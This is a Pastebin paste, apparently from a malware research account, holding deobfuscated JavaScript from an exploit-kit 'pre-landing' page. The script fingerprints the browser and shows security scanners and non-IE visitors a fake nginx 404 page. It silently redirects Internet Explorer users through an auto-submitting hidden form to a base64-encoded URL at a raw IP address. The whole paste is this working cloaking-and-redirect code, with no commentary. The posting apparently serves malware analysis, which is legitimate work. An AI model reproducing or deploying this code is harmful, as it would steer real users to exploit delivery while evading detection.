Advertisement
MalwareBreakdown

Unpacked pre-landing page

Mar 11th, 2018
14,912
0
Never
Not a member of Pastebin yet? Sign Up, it unlocks many cool features!
text 6.55 KB | None | 0 0
  1. var keyStr = "ABCDEFGHIJKLMNOP" + "QRSTUVWXYZabcdef" + "ghijklmnopqrstuv" + "wxyz0123456789+/" + "=";
  2. var MaxiMus = '';
  3.  
  4. function getBrowser() {
  5. var ua = navigator.userAgent;
  6. var browsrObj = {
  7. browser: 'unknown',
  8. browser_real: '',
  9. is_bot: false,
  10. browser_quality: 0,
  11. platform: 'desktop',
  12. versionFull: '',
  13. versionShort: ''
  14. };
  15. try {
  16. var bName = function() {
  17. if (ua.search(/Edge/) > -1) return "edge";
  18. if ((ua.search(/MSIE/) > -1) || (ua.search(/Trident/) > -1)) return "ie";
  19. if (ua.search(/Firefox/) > -1) return "firefox";
  20. if ((ua.search(/Opera/) > -1) || (ua.search(/OPR/) > -1)) return "opera";
  21. if (ua.search(/YaBrowser/) > -1) return "yabrowser";
  22. if (ua.search(/Chrome/) > -1) return "chrome";
  23. if (ua.search(/Safari/) > -1) return "safari";
  24. if (ua.search(/Maxthon/) > -1) return "maxthon";
  25. else return "unknown"
  26. }();
  27. browsrObj.browser = bName;
  28. if (/iphone|ipad|ipod|android|blackberry|mini|windows\sce|palm/i.test(navigator.userAgent.toLowerCase())) browsrObj.platform = 'mobile';
  29. var version;
  30. if (bName != 'unknown') {
  31. switch (bName) {
  32. case "edge":
  33. version = (ua.split("Edge")[1]).split("/")[1];
  34. break;
  35. case "ie":
  36. if ((ua.search(/Trident/) > -1)) {
  37. version = (ua.split("; rv:")[1]).split(")")[0]
  38. } else {
  39. version = (ua.split("MSIE ")[1]).split(";")[0]
  40. }
  41. break;
  42. case "firefox":
  43. version = ua.split("Firefox/")[1];
  44. break;
  45. case "opera":
  46. version = ua.split("Version/")[1];
  47. break;
  48. case "operaWebkit":
  49. bName = "opera";
  50. version = ua.split("OPR/")[1];
  51. break;
  52. case "yabrowser":
  53. version = (ua.split("YaBrowser/")[1]).split(" ")[0];
  54. break;
  55. case "chrome":
  56. version = (ua.split("Chrome/")[1]).split(" ")[0];
  57. break;
  58. case "safari":
  59. version = (ua.split("Version/")[1]).split(" ")[0];
  60. break;
  61. case "maxthon":
  62. version = ua.split("Maxthon/")[1];
  63. break
  64. }
  65. browsrObj.versionFull = version;
  66. browsrObj.versionShort = version.split(".")[0]
  67. }
  68. } catch (err) {}
  69. var w = window,
  70. d = document;
  71. var CorrectBrowser = true;
  72. var uaBrowser = browsrObj;
  73. var isIE = isChrome = isFirefox = isOpera = 0;
  74. if (uaBrowser.platform != 'mobile' && (browsrObj.browser == 'ie' || browsrObj.browser == 'chrome' || browsrObj.browser == 'firefox')) {
  75. if ('ActiveXObject' in window) isIE++;
  76. if ('chrome' in window) isChrome++;
  77. if ('opera' in window) isOpera++;
  78. if ('getBoxObjectFor' in d || 'mozInnerScreenX' in w) isFirefox++;
  79. if ('WebKitCSSMatrix' in w || 'WebKitPoint' in w || 'webkitStorageInfo' in w || 'webkitURL' in w) isChrome++;
  80. var f = 0;
  81. f |= 'sandbox' in d.createElement('iframe') ? 1 : 0;
  82. f |= 'WebSocket' in w ? 2 : 0;
  83. f |= w.Worker ? 4 : 0;
  84. f |= w.applicationCache ? 8 : 0;
  85. f |= w.history && history.pushState ? 16 : 0;
  86. f |= d.documentElement.webkitRequestFullScreen ? 32 : 0;
  87. f |= 'FileReader' in w ? 64 : 0;
  88. if (f == 0) isIE++;
  89. if (isIE > 0) {
  90. browsrObj.browser_real = 'ie';
  91. browsrObj.browser_quality = isIE
  92. }
  93. if (isChrome > 1 && isFirefox == 0) {
  94. browsrObj.browser_real = 'chrome';
  95. browsrObj.browser_quality = isChrome
  96. }
  97. if (isFirefox > 0 && isChrome == 0) {
  98. browsrObj.browser_real = 'firefox';
  99. browsrObj.browser_quality = isFirefox
  100. }
  101. if (uaBrowser.browser != uaBrowser.browser_real) browsrObj.is_bot = true;
  102. if (browsrObj.browser_real != 'ie') browsrObj.is_bot = true
  103. }
  104. MaxiMus += browsrObj.browser + '-' + browsrObj.browser_real + '_ie' + isIE + 'chrome' + isChrome + 'firefox' + isFirefox;
  105. return browsrObj
  106. }
  107. var keyStr = "ABCDEFGHIJKLMNOP" + "QRSTUVWXYZabcdef" + "ghijklmnopqrstuv" + "wxyz0123456789+/" + "=";
  108.  
  109. function decode64(input) {
  110. var output = "";
  111. var chr1, chr2, chr3 = "";
  112. var enc1, enc2, enc3, enc4 = "";
  113. var i = 0;
  114. var base64test = /[^A-Za-z0-9\+\/\=]/g;
  115. if (base64test.exec(input)) {}
  116. input = input.replace(/[^A-Za-z0-9\+\/\=]/g, "");
  117. do {
  118. enc1 = keyStr.indexOf(input.charAt(i++));
  119. enc2 = keyStr.indexOf(input.charAt(i++));
  120. enc3 = keyStr.indexOf(input.charAt(i++));
  121. enc4 = keyStr.indexOf(input.charAt(i++));
  122. chr1 = (enc1 << 2) | (enc2 >> 4);
  123. chr2 = ((enc2 & 15) << 4) | (enc3 >> 2);
  124. chr3 = ((enc3 & 3) << 6) | enc4;
  125. output = output + String.fromCharCode(chr1);
  126. if (enc3 != 64) {
  127. output = output + String.fromCharCode(chr2)
  128. }
  129. if (enc4 != 64) {
  130. output = output + String.fromCharCode(chr3)
  131. }
  132. chr1 = chr2 = chr3 = "";
  133. enc1 = enc2 = enc3 = enc4 = ""
  134. } while (i < input.length);
  135. return unescape(output)
  136. }
  137.  
  138. function analytics() {
  139. BrowserInfo = getBrowser();
  140. if (BrowserInfo.is_bot == true) {
  141. document.write('<html><head><title>404 Not Found</title></head><body bgcolor="white"><center><h1>404 Not Found</h1></center><hr><center>nginx</center></body></html>')
  142. }
  143. if (BrowserInfo.is_bot == true) {} else {
  144. window.frames[0].document.body.innerHTML = '<form target="_parent" method="post" action="' + decode64('aHR0cDovLzE4OC4yMjUuMzMuMTM4Lz9NekUxT0RrMSZFQlpadE5MRXlMdUx6aSZ5c1JEY2puV216YWI9Y0c5d2RXeGhjZz09Jm55RHZpTj1kVzVyYm05M2JnPT0mbng1NjdkZmRzPXhIclFNclRZYlJyRkZZSGZLUF9FVUtaRU1VcldBME9Ld1lpWmhhalZGNTJ4RkRQR3BiWDFGeGpzcFZ1ZENGaUVtdmR2ZExFSEl3Q2gxVWJBJnVST01rS2E9Y21Wd2IzSjAmZE5JcnRXb0ZDTj1jRzl3ZFd4aGNnPT0mcWFERVdRZFhSPVkyRndhWFJoYkE9PSZOT0hlT2xJTD1ZMkZ3YVhSaGJBPT0mdGhkZjRkPVN3RmtuWXBWQkZrUm82MnUzMGZWeXhLYTBwU0RfaERjYUFsQl9KYkRGcmN6M2xtbW5yY1FjODUya1JPRXUySUd5dTh0WWxrZ3BROVIyYXZJJmV5REFIcj1ZMkZ3YVhSaGJBPT0=') + '"></form>';
  145. window.frames[0].document.forms[0].submit()
  146. }
  147. }
Advertisement
Add Comment
Please, Sign In to add comment
Advertisement